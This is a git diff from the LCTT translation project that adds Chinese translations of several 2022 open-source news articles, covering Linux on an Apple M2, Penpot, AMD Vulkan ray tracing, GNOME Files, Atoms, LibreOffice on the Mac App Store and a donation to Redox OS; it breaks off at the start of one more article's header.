+ +他设法在他的 Apple Macbook Air M2 上运行了 Fedora Linux 36 Workstation 版本。 + +**注意**:从 Asahi Linux 的 Hector Martin 那里得知,Linus Torvalds 似乎在这里使用了 [Leif 的工具包](https://github.com/leifliddy/asahi-fedora-builder)。所以,你可能想多了,他并没有从头开始做所有事情来让它发挥作用。 + +![GIF][3] + +多亏了 ZDNet 对 Torvalds 的 [采访](https://linux.cn/article-15039-1.html),我们才发现了这一激动人心的考验。 + +### Apple M2 芯片上的 Fedora Linux + +Apple Macbook Air 是一款出色的笔记本电脑。但是,它不能完全按照消费者想要的方式运行 Linux。 + +然而,Linus Torvalds 似乎是使 Linux 运行在苹果电脑上的天才。 + +尽管苹果基于 ARM 的 M2 芯片没有 Fedora 移植,但他还是做到了。 + +请注意,这并不意味着你可以立即在 Macbook Air M2 上运行 Fedora Linux。它只适合像 Torvalds 这样的 Linux 高手才能使其工作。 + +他说,即使没有图形加速和在 GNOME 桌面环境中缺少某些图形效果(例如屏幕调光),这种体验也很出色。 + +> 我喜欢这种方式,它使显示更加迅捷。我可能也会在我的其他机器上关掉这些。 + +事实上,总的来说,这是一项令人兴奋的成就! + +### Apple 芯片上 Linux 的现状 + +不仅是 Linus Torvalds,而且每个人都对 Apple M1/M2 芯片的性能印象深刻。 + +事实上,他利用 Macbook Air M2 发布了 **Linux 内核 5.19**。 + +> **[Linus Torvalds 使用 Apple MacBook 硬件发布 Linux Kernel 5.19](https://news.itsfoss.com/linux-kernel-5-19-release/)** + +尽管我们很想尝试一下,但 Apple 的 M2 还没有为 Linux 做好准备。 + +幸运的是,像 [Asahi Linux](https://asahilinux.org/) 这样的项目一直在不断改进对 Apple 芯片的支持。他们还设法使 [Linux 在最新的 Apple M2 芯片上运行](https://asahilinux.org/2022/07/july-2022-release/)。 + +而且,在 Linux 创造者的努力下,我们应该很快就能在 Macbook 上看到完整的 Linux 体验。 + +到目前为止,你可以使其与 Asahi Linux 一起使用,但对于大多数用户来说,它仍然无法取代它作为日常办公系统。 + +#### 推荐阅读 📖 + +有兴趣了解更多关于 Torvalds 的知识吗?我们这里有一个有趣的收藏👇 + +> **[Linus Torvalds:关于 Linux 创造者的 20 个事实](https://itsfoss.com/linus-torvalds-facts/)** + +*💬 你如何看待在 Apple 硬件上运行的 Fedora Linux?你希望某个发行版可以在 Apple M1/M2 驱动的设备上运行吗?是哪个发行版?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/fedora-apple-torvalds/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/torvalds-fedora-m2-macbook.png +[2]: https://github.com/leifliddy/asahi-fedora-builder +[3]: https://tenor.com/embed/5289253 +[4]: https://www.zdnet.com/article/linus-torvalds-talks-rust-on-linux-his-work-schedule-and-life-with-his-m2-macbook-air/ +[5]: https://news.itsfoss.com/linux-kernel-5-19-release/ +[7]: https://asahilinux.org/ +[8]: https://asahilinux.org/2022/07/july-2022-release/ +[9]: https://itsfoss.com/linus-torvalds-facts/ diff --git a/published/202209/20220916 Penpot is a Solid Open-Source Figma Alternative to Look Out for!.md b/published/202209/20220916 Penpot is a Solid Open-Source Figma Alternative to Look Out for!.md new file mode 100644 index 0000000000..a74a8aa9f6 --- /dev/null +++ b/published/202209/20220916 Penpot is a Solid Open-Source Figma Alternative to Look Out for!.md @@ -0,0 +1,89 @@ +[#]: subject: "Penpot is a Solid Open-Source Figma Alternative to Look Out for!" +[#]: via: "https://news.itsfoss.com/penpot-figma-alternative/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15049-1.html" + +一个值得关注的开源软件 Penpot 将成为 Figma 可靠的替代品! +====== + +> Penpot 是一个自由开源的解决方案,能够替代 Figma 或类似的设计工具。你怎么看? + +![Penpot is a Solid Open-Source Figma Alternative to Look Out for!][1] + +Adobe 以高达 **200 亿美元的价格收购了流行的设计工具** [Figma](https://www.figma.com/)。 + +像往常一样,大型科技公司通过收购企业来消除竞争。因此,这并不完全是一个令人兴奋的消息。 + +但是,**令人兴奋**的是,我们遇到了一个自由开源的设计工具,它从 Figma 中获得灵感并且做得更好! + +### Penpot:正在开发中的自由开源的设计工具 + +![Penpot UI][3] + +[Penpot][4] Penpot 是一个正在积极开发的开源项目。将近两年前,它在 ProductHunt 上推出,目前处于测试阶段。 + +**Penpot 值得关注的地方:** + +- 自由开源(当然)。 +- 可以选择自托管。 +- 跨平台。 +- 使用 SVG 作为原生格式。 +- 基于 Web。 +- 具有行业标准功能(受 Figma 启发)。 + +你可以观看其官方视频以了解其基础知识: + +![Penpot for Beginners][6] + +Penpot 的主要亮点是使用 SVG 作为其原生格式。使用 SVG 文件,你可以获得与许多矢量图形编辑工具很好的兼容性。 + +因此,你保存下来的文件,同样可以被其他的图片编辑软件打开,而不会被其专有的格式锁定在一个特定的软件上。 + +Penpot 为你提供绝对最佳的开放标准。 + +Penpot 的 CEO,Pablo Ruiz-Múzquiz 提到了更多: + +> 如果你在存储层面上采用 SVG(开放标准,支持 Web,移动互联网等),你马上就可以将你所有的 Penpot 设计与你的代码库整合起来。由于采用了 SVG 而不是另一种封闭的格式,你可以对设计本身的实际表现进行修改。这为设计师和开发人员打开了巨大的机会之门。另外,SVG 意味着我们免费地就为低代码提供了支持。你可以在 Penpot 中选择任何元素并查看它的 SVG(和 CSS)形式,知道它实际上是什么,无需翻译。这给设计师和开发人员之间带来了更值得信赖的关系,并允许前端开发人员尝试他们的设计技能。 + +所以,使用 SVG 作为原生格式有很多优势! + +目前,该项目处于测试阶段,且在项目中有大量熟练的贡献者不断改进。 + +**这可以让它变成 Figma 最有用的开源替代品,让设计工具突破了大型技术公司。** + +你可以自行托管它或使用云应用程序对其进行测试。在其官方网站上注册以学习和试验它。 + +你还可以查看其 [GitHub 页面](https://github.com/penpot/penpot) 以探索更多信息。 + +> **[Penpot](https://penpot.app/)** + +这也让我想起了 [Akira](https://github.com/akiraux/Akira),它的目标是成为一个用于 UI 和 UX 设计的原生 Linux 应用程序。它仍处于早期开发阶段,但当涉及 Linux 或开源计划时,这种努力总是受到赞赏。 + +*💬 你如何看待 Penpot 作为 Figma 的开源替代品?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/penpot-figma-alternative/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/penpot-opensource-figma-ft.jpg +[2]: https://www.figma.com/ +[3]: https://news.itsfoss.com/content/images/2022/09/penpot-screenshot.jpg +[4]: https://penpot.app/ +[5]: https://www.producthunt.com/products/penpot?utm_source=badge-featured&utm_medium=badge#penpot +[6]: https://youtu.be/JozESuPcVpg +[7]: https://github.com/penpot/penpot +[8]: https://penpot.app/ +[9]: https://github.com/akiraux/Akira diff --git a/published/202209/20220919 AMD-s Open Source Vulkan Graphics Drivers Now Enable Ray Tracing.md b/published/202209/20220919 AMD-s Open Source Vulkan Graphics Drivers Now Enable Ray Tracing.md new file mode 100644 index 0000000000..dd09c4444f --- /dev/null +++ b/published/202209/20220919 AMD-s Open Source Vulkan Graphics Drivers Now Enable Ray Tracing.md @@ -0,0 +1,55 @@ +[#]: subject: "AMD’s Open Source Vulkan Graphics Drivers Now Enable Ray Tracing" +[#]: via: "https://www.opensourceforu.com/2022/09/amds-open-source-vulkan-graphics-drivers-now-enable-ray-tracing/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15064-1.html" + +AMD 的开源图形驱动程序 Vulkan 现在支持光线追踪 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/AMD-Ryzen-Zen-CPUs_Next-Gen-1536x842.jpg) + +> RDNA 2 GPU 的 Linux 用户可以使用 AMD 的 AMDVLK GPUOpen 开源 Vulkan 驱动程序。 + +用于 Radeon RX 6000 GPU 的 AMDVLK GPUOpen 图形驱动程序在过去一周改进了对 64 位光线追踪的支持。这涵盖了支持 RDNA 2 图形的 APU 以及桌面/移动 GPU。所有平台上的所有 AMD Vulkan 驱动程序现在都支持硬件光线追踪,包括 Mesa3D RADV、AMDVLK GPUOpen 和 AMDGPU-PRO。 + +GPU 光线追踪库(GPURT)的基础是一个 C++ 接口。根据其用法和依赖关系,公共接口被拆分为各种头文件。用户可以在官方的 GitHub 仓库上了解更多信息,它还包括了 RDNA 2 GPURT 的结构细分。最新的 AMDVLK GPUOpen v-2022.Q3.4 信息如下: + +**更新和新功能:** + +- 扩展 Navi2x 的 64 位光线追踪功能。 +- 将 Vulkan 标头升级到版本 1.3.225 +- 游戏性能优化,包括《荣耀战魂》和《奇点灰烬》 + +**已解决的问题:** + +- `dEQP-VK.api.copy_and_blit.*.resolve_image.whole_copy_before_resolving_transfer.*` 新版本 CTS 失败。 +- dEQP-VK.pipeline.creation 缓存控件有一个 CTS 警告。 +- Ubuntu 22.04 上的 Firefox 损坏 +- VulkanInfo 崩溃,管道缓存已停用 +- RX 6800 上的 RGP 测试套件故障 + +新的改进包括 GPU 光线追踪库(GPURT),它将包括使用 HLSL 之类的着色器在光线追踪中看到的边界体积层次(BVH)的构造和排序处理。这个库将提供一个标准库来改进图形渲染并引入更多的统一性。DirectX 12 DXR 也将与新库一起使用。 + +对 GPU 光线追踪(GPURT)库的描述为“一个静态库(源代码交付),为支持 DXR(DirectX 12)和 Vulkan® RT API 的 AMD 驱动程序提供与光线追踪相关的功能。” 该公司的平台抽象库用于构建库(PAL)。 + +用户可参考最新 AMDVLK GPUOpen v-2022.Q3.4 升级的安装说明。用户在更新任何软件、硬件或驱动程序之前应备份所有相关数据,以免丢失重要文件。 + +为了让最新的 Linux 驱动程序为 AMD、Intel 和 NVIDIA 技术做好准备,已经投入了大量工作,这些技术都是在今年第一季度推出的。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/amds-open-source-vulkan-graphics-drivers-now-enable-ray-tracing/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed diff --git a/published/202209/20220919 GNOME Files Introduces Most-Requested Feature- New File Menu.md b/published/202209/20220919 GNOME Files Introduces Most-Requested Feature- New File Menu.md new file mode 100644 index 0000000000..7b45efe6b1 --- /dev/null +++ b/published/202209/20220919 GNOME Files Introduces Most-Requested Feature- New File Menu.md @@ -0,0 +1,88 @@ +[#]: subject: "GNOME Files Introduces Most-Requested Feature: New File Menu" +[#]: via: "https://www.debugpoint.com/gnome-files-new-file-document/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15057-1.html" + +GNOME “文件”引入最受欢迎的功能:“新建文件”菜单 +====== + +> 这是 GNOME “文件”中的“新建文件”功能,它为你提供了一种创建文档和文件的新方法。让我们看一看。 + +无需在后端进行更多调整。通过“文件Files”(又名 Nautilus)中的上下文菜单创建新文档/新文件的最令人期待的功能终于到来了。 + +作为 [谷歌编程之夏 2022](https://debugpointnews.com/gsoc-2022/) 的一部分,(由 Ignacy Kuchciński 开发的)这个新功能最近经过审查并合并到 “文件” 的主分支中。 + +### 它看起来如何 + +当你右键单击文件时,上下文菜单有一个新选项“新建文件New File”。 + +![New File Option in Files Context Menu][2] + +GNOME “文件”中的“新建文件New File”选项启动一个操作窗口,如下图所示。 + +![GNOME Files New File Action Dialog][3] + +当它启动上述对话框时,会在后台发生一些事情。 + +你可能知道你可以在主目录中创建一个带有模板的 `Template` 文件夹,以便轻松访问常用的文档类型。因此,GNOME “文件” 会检查你是否有该目录。 + +如果当前存在一个带有模板的 `Template` 目录,你能通过那些文档类型的列表以创建新文档。 + +![GNOME Files New File Template Dialog (when some templates present)][4] + +如果你没有任何模板(很可能),GNOME “文件”会扫描你的系统并根据系统中已安装的应用程序显示常见文件类型的列表。 + +例如,文本编辑器、LibreOffice 文档类型(电子表格、演示文稿)等。 + +这里还发生了一些其他事情。当你为新文档选择文件类型时,系统会选择默认的文件扩展名。这是文件名文本框中的受保护标签。 + +此外,如果你没有安装任何模板或任何应用程序,则根本不会显示“新建文件”菜单选项。 + +### 未来路线图 + +开发人员还提出了未来对该功能的增强,更大程度地扩展其功能。 + +当没有可用的模板时,对话框将如下所示。它将允许你通过选择应用程序来创建文件,包括空白文件。 + +此外,你可以直接启动软件来安装一些可以帮助你创建相应文件类型的应用程序。 + +由于这个功能比较复杂,可能会在以后开发。目前还没有时间表。 + +### 这在“文件” v43 中可用(通过 GNOME 43)吗? + +但是,在我看来,这种变化需要一些额外的设计审查。我觉得它不完整。例如,当你有模板时,你无法创建标准文档类型(文本、LibreOffice 文档)—— 这两个对话框是互斥的。另外,我发现了一些小 BUG。 + +尽管该功能目前 [已获得批准和合并](https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/914),但由于日程冲突,它无法进入 [GNOME 43候选版本](https://www.debugpoint.com/gnome-43/)。 + +希望在经过一轮良好的审查和测试后,你可以在明年的 GNOME 44 版本中获得此功能。 + +### 总结 + +总的来说,这是一个优雅的功能,我认为如今没有任何其他文件管理器具有这种先进的设计。一旦这个“文件”的“新建文件”功能被完全实现,它将会是其出色功能集的一个很好的补充。 + +那么,你喜欢这个新设计吗?请在评论框中告诉我。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/gnome-files-new-file-document/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://debugpointnews.com/gsoc-2022/ +[2]: https://www.debugpoint.com/wp-content/uploads/2022/09/New-File-Option-in-Files-Context-Menu.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/09/GNOME-Files-New-Document-Action-Dialog.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/09/GNOME-Files-New-Document-Template-Dialog.jpg +[5]: https://www.debugpoint.com/wp-content/uploads/2022/09/Long-term-vision-with-additional-features.jpg +[6]: https://gitlab.gnome.org/GNOME/nautilus/-/merge_requests/914 +[7]: https://www.debugpoint.com/gnome-43/ diff --git a/published/202209/20220920 Atoms is a GUI Tool to Let You Manage Linux Chroot Environments Easily.md b/published/202209/20220920 Atoms is a GUI Tool to Let You Manage Linux Chroot Environments Easily.md new file mode 100644 index 0000000000..0b9b9ce9b0 --- /dev/null +++ b/published/202209/20220920 Atoms is a GUI Tool to Let You Manage Linux Chroot Environments Easily.md @@ -0,0 +1,109 @@ +[#]: subject: "Atoms is a GUI Tool to Let You Manage Linux Chroot Environments Easily" +[#]: via: "https://itsfoss.com/atoms-chroot-tool/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15087-1.html" + +Atoms 是一个可以让你轻松管理 Linux Chroot 环境的 GUI 工具 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/30/113748nxg0zps10q58q5wr.jpg) + +chroot 环境为你在 Linux 中进行测试提供了隔离。你无需费心创建虚拟机。相反,如果你想测试应用或其他东西,请创建一个允许你选择不同根目录的 chroot 环境。 + +因此,使用 chroot,你可以在不让应用访问系统其余部分的情况下进行测试。你安装的任何应用或你尝试的任何东西都会被限制在该目录中,并且不会影响操作系统的功能。 + +chroot 有它的好处,这就是为什么它是为各种用户(尤其是系统管理员)测试事物的便捷方式。 + +不幸的是,所有这些都通过 Linux 终端运行。如果你可以有一个图形用户界面来让事情变得简单一些呢?这就是“**Atoms**”的用武之地。 + +### Atoms:管理 Linux Chroot 的 GUI + +![atoms][1] + +Atoms 是一个 GUI 工具,它可以方便地创建和管理 Linux chroot 环境。 + +它还支持与 [Distrobox][2] 的集成。因此,你还可以使用 Atoms 管理容器。 + +但是,开发人员提到,该工具不提供与 Podman 的无缝集成,并解释其用途:“*它的目的只是允许用户在新环境中打开 shell,无论是 chroot 还是容器。*” + +如果你正在寻找这样的东西,你可能需要试试 [pods][3]。 + +### Atoms 的特性 + +![atoms options][4] + +Atoms 是一个简单的 GUI 程序,可让你为多个受支持的 Linux 发行版创建 chroot 环境。 + +让我重点介绍支持的发行版及其提供的功能: + +* 浏览创建的 chroot 文件。 +* 能够选择要露出的挂载点。 +* 访问控制台。 +* 支持的 Linux 发行版包括 Ubuntu、Alpine Linux、Fedora、Rocky Linux、Gentoo、AlmaLinux、OpenSUSE、Debian 和 CentOS。 + +它非常易于使用。从该应用中创建一个 atom 只需一键。(LCTT 校注:该应用创建的每一个 chroot 环境称之为一个“atom”。) + +你所要做的就是为该 atom 命名,然后从可用选项列表中选择 Linux 发行版(Ubuntu 作为上面截图中的选择)。它会在几分钟内下载镜像并为你设置 chroot 环境,如下所示。 + +![atom config][5] + +完成后,你可以访问选项启动控制台以管理 chroot 环境,或自定义/删除它。 + +![atoms option][6] + +要访问控制台,请转到另一个选项卡菜单。非常顺滑的体验,并且运行良好,至少对于我测试过的 Ubuntu 而言。 + +![atoms console][7] + +此外,你可以分离控制台以将其作为单独的窗口进行访问。 + +![atoms detach console][8] + +### 在 Linux 上安装 Atom + +你可以使用 [Flathub][9] 上提供的 Flatpak 包在任何 Linux 发行版上安装 Atoms。如果你是 Linux 新手,请遵循我们的 [Flatpak 指南][10]。 + +**注意:** 最新的稳定版本 **1.0.2** 只能通过 Flathub 获得。 + +要探索其源代码和其他详细信息,请访问其 [GitHub 页面][11]。 + +### 总结 + +Linux 命令行功能强大,你几乎可以使用这些命令执行任何操作。但并不是每个人都对它感到满意,因此像 Atoms 这样的工具通过提供 GUI 使其更加方便。 + +Atoms 并不是唯一的这类工具。还有 [Grub Customizer][12] 可以更轻松地更改本来通过通过命令行完成的 [Grub][13] 配置。 + +我相信还有更多这样的工具。 + +*你如何看待使用像 Atom 这样的 GUI 程序来管理 Chroot 环境?在下面的评论中分享你的想法。* + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/atoms-chroot-tool/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/09/atoms.png +[2]: https://itsfoss.com/distrobox/ +[3]: https://github.com/marhkb/pods +[4]: https://itsfoss.com/wp-content/uploads/2022/09/atoms-options.png +[5]: https://itsfoss.com/wp-content/uploads/2022/09/atom-config.png +[6]: https://itsfoss.com/wp-content/uploads/2022/09/atoms-option.png +[7]: https://itsfoss.com/wp-content/uploads/2022/09/atoms-console.png +[8]: https://itsfoss.com/wp-content/uploads/2022/09/atoms-detach-console.png +[9]: https://flathub.org/apps/details/pm.mirko.Atoms +[10]: https://itsfoss.com/flatpak-guide/ +[11]: https://github.com/AtomsDevs/Atoms +[12]: https://itsfoss.com/grub-customizer-ubuntu/ +[13]: https://itsfoss.com/what-is-grub/ diff --git a/published/202209/20220921 LibreOffice is Available for $8.99 on Mac App Store- Here-s Why!.md b/published/202209/20220921 LibreOffice is Available for $8.99 on Mac App Store- Here-s Why!.md new file mode 100644 index 0000000000..002f9ee81c --- /dev/null +++ b/published/202209/20220921 LibreOffice is Available for $8.99 on Mac App Store- Here-s Why!.md @@ -0,0 +1,108 @@ +[#]: subject: "LibreOffice is Available for $8.99 on Mac App Store: Here's Why!" +[#]: via: "https://news.itsfoss.com/libreoffice-mac-os-store/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "cool-summer-021" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15075-1.html" + +为什么 LibreOffice 在 Mac 应用商店卖 8.99 美元? +====== + +> 如今,Mac 应用商店正在售卖 LibreOffice。难道它不是免费的吗?我们来了解一下个中缘由。 + +![LibreOffice is Available for $8.99 on Mac App Store: Here's Why!][1] + +LibreOffice 是一个自由、开源、跨平台的办公套件。 + +所以它一直是 [微软 Office 的最佳免费替代品][2]。 + +如果事实的确如此, **我现在怎么会在这里讨论 LibreOffice 的购买呢?** + +### 文档基金会计划向市场推出这个项目以筹集资金, + +如今文档基金会正在努力改进营销策略,鼓励人们支持 LibreOffice 的发展。 + +当然,发布企业版是他们能做到的最好方式之一。 + +但是,能否通过提供相似的服务,把这种机会扩展到终端用户呢? + +**最方便的办法** 是像 Mac 应用商店那样,通过专有渠道销售 LibreOffice。 + +最近,文档基金会 [宣布][4] 在 Mac 应用商店销售 LibreOffice;他们是这么说的: + +> 跟以前的情况相比,文档基金会在 Mac 应用商店发布软件的举措是一次变革,这是一种新的市场策略:文档基金会专注于社区版的发布,而属于相关生态系统的公司专注于针对企业用户的、长期提供支持服务以及能够带来价值增值的版本。 + +很多用户信赖并依靠的是自己平台的官方应用商店。因此,在他们的官方应用商店销售 LibreOffice 能起到方便用户的作用。你可以自动将 LibreOffice 更新为最新版本,而无需每次更新时下载相应的版本。 + +![libreoffice mac app store][5] + +为了享受从 Mac 应用商店下载 LibreOffice 的便利,你需要一次性付费购买。 + +它在 Mac 应用商店的卖价是 **8.99 美元**。 + +> 你仍然可以在 [LibreOffice 网站][6] 上免费下载 Mac 版 LibreOffice。 + +#### Mac 应用商店不是已经可以下载了吗? + +![mac app store collabora][7] + +嗯,是,也不是。 + +Collabora Office(基于 LibreOffice 的企业版)在 Mac 应用商店售价是 **8.99 美元**。 + +它基于 LibreOffice,并不完全是 LibreOffice 的社区版本。所以现在,文档基金会在 Mac 应用商店推出了社区版。 + +他们也在告示中提到: + +> “我们感谢 Collabora 公司长期以来在 Mac 应用商店对 LibreOffice 的支持” +> +> -- Italo Vignoli,LibreOffice 市场营销团队 + +(LCTT 校注:也就是说,文档基金会在 Mac 应用商店推出的 LibreOffice 是无商业支持的社区版,和具有商业支持的、基于企业版定制的 Collabora Office 的售价一样。因此,这种行为可看作是文档基金会的某种自愿募捐方式 —— 如果不愿意捐助,你可以继续下载免费版本。) + +#### 这笔费用对 LibreOffice 有何帮助? + +截至目前,LibreOffice 已成为一个大型开源项目。很多 Linux 发行版中默认自带 LibreOffice,这并不奇怪,一些教育机构也决定使用 LibreOffice,从而取代微软 Office。 + +当然,它可能在某种意义上并不完美。但是它正在不断取得进步,能满足用户关于文档、表格或演示文稿方面的基本功能。 + +所以,收取的费用将用于项目的支持工作,可以覆盖项目的维护成本和远期用于支付贡献者和文档基金会工作人员的相关费用。 + +### 微软应用商店也会推出 LibreOffice 吗? + +![][8] + +微软应用商店现在并不直接提供 LibreOffice。 + +在微软应用商店,你可以以 14.99 美元的价格购买 Collabora Office。但是,文档基金会还没有发布官方的社区版。 + +还有 [Allo Office][9],以前被称为 LibreOffice Vanilla。 + +也许在它登陆 Mac 应用商店之后,他们可能会把它引入微软商店。 + +💬 *对于在 Mac 应用商店购买 LibreOffice,你怎么看?* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/libreoffice-mac-os-store/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[cool-summer-021](https://github.com/cool-summer-021) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/libreoffice-mac-app-store.png +[2]: https://itsfoss.com/best-free-open-source-alternatives-microsoft-office/ +[3]: https://itsfoss.com/best-free-open-source-alternatives-microsoft-office/ +[4]: https://blog.documentfoundation.org/blog/2022/09/19/the-document-foundation-releases-libreoffice-on-apples-mac-app-store/ +[5]: https://news.itsfoss.com/content/images/2022/09/libreoffice-mac-1.jpg +[6]: https://www.libreoffice.org/download/download-libreoffice/ +[7]: https://news.itsfoss.com/content/images/2022/09/collabora-mac.webp +[8]: https://news.itsfoss.com/content/images/2022/09/collabora-windows.jpg +[9]: https://apps.microsoft.com/store/detail/allooffice/9MWJQ9TX63F9 diff --git a/published/202209/20220921 Wow! Rust-based Redox OS Gets an Anonymous Donation of $390,000 in Cryptocurrency.md b/published/202209/20220921 Wow! Rust-based Redox OS Gets an Anonymous Donation of $390,000 in Cryptocurrency.md new file mode 100644 index 0000000000..400a6b643a --- /dev/null +++ b/published/202209/20220921 Wow! Rust-based Redox OS Gets an Anonymous Donation of $390,000 in Cryptocurrency.md @@ -0,0 +1,77 @@ +[#]: subject: "Wow! Rust-based Redox OS Gets an Anonymous Donation of $390,000 in Cryptocurrency" +[#]: via: "https://news.itsfoss.com/redox-os-anonymous-donation/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "littlebirdnest" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15069-1.html" + +哇!基于 Rust 的 Redox OS 获得 390,000 美元的加密货币匿名捐赠 +====== + +> Redox OS 刚刚获得了大量匿名捐款。它将用于什么?令人兴奋的事情! + +![Wow! Rust-based Redox OS Gets an Anonymous Donation of $390,000 in Cryptocurrency][1] + +[Redox OS][2] 是一个用 Rust 编写的类 Unix 操作系统。 + +该项目由 Jeremy Soller 于 2015 年发起,他被公认为 [System76][3] 的首席工程师及[Pop!_OS][4] 的维护者。 + +我们还介绍了它今年早些时候的最后一个版本:[基于 Rust 的 Redox OS 0.7.0 推出增强硬件支持](https://news.itsfoss.com/redox-os-0-7-0-release/)。 + +虽然这些更新包括的改进可以让它在更多硬件上启动,但它可能不是大多数用户的日常驱动程序的替代品。 + +然而,这是一个令人兴奋的项目,值得关注。 + +**而在收到匿名捐款后,事情变得更加精彩**。 + +🤯 刚刚有人向 Redux OS 的捐赠地址发送了 **299 个以太坊**,相当于近 **39 万美元**(加密货币市场涨跌不定)。 + +嗯,那是一大笔钱! + +![A Video from YouTube][7] + +根据 Jeremy 的最新推文,他还没有立即决定如何处理它。 + +> 一位匿名捐赠者刚刚向 @redox_os 捐赠地址发送了 299 以太(相当于 393,000 美元) 。这个地址和交易都是公开的。我不知道如何处理这种规模的捐赠,但在进行一些研究后很快就会有更多细节。https://t.co/f3yBDghWSh +> + +但是,对推文的回复给了我们一些很好的建议。 + +一些人建议将其捐赠给负责 Rust 语言的人,还有一些人建议用这笔钱来赞助学习 Rust 和 OS 开发。 + +他肯定可以使用它来扩展 Redox OS 或其他任何需要该资源的东西。 + +归根结底,对于想要更多基于 Rust 的东西的人来说,无论 Jeremy 选择做什么,这都可能间接成为一件好事。 + +或者,也许买一辆带有 Redox OS 标志的布加迪?好吧,一些推特用户对这一事件有过搞笑的回复!😂 + +> 这不是开源项目第一次收到大量的加密货币捐赠。Apache 软件基金会在 2018 年收到了价值 100 万美元的比特币。 + +当 Jeremy 决定分享有关捐赠的更多细节以及他打算如何处理时,我将更新这篇文章。 + +💬 *你如何看待匿名捐赠给 Redox OS?如果你得到那笔捐款,你会怎么做?在下面的评论框中让我们知道你的想法。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/redox-os-anonymous-donation/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[littlebirdnest](https://github.com/littlebirdnest) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/donor-sends-ether-to-redux-os.png +[2]: https://www.redox-os.org/ +[3]: https://system76.com/ +[4]: https://pop.system76.com/ +[5]: https://news.itsfoss.com/redox-os-0-7-0-release/ +[7]: https://tenor.com/embed/17544086 +[8]: https://twitter.com/redox_os?ref_src=twsrc%5Etfw +[9]: https://t.co/f3yBDghWSh +[13]: https://news.apache.org/foundation/entry/the-apache-software-foundation-receives diff --git a/published/202209/20220922 4 Simple Steps to Clean Your Ubuntu System.md b/published/202209/20220922 4 Simple Steps to Clean Your Ubuntu System.md new file mode 100644 index 0000000000..0374034a6c --- /dev/null +++ b/published/202209/20220922 4 Simple Steps to Clean Your Ubuntu System.md @@ -0,0 +1,177 @@ +[#]: subject: "4 Simple Steps to Clean Your Ubuntu System" +[#]: 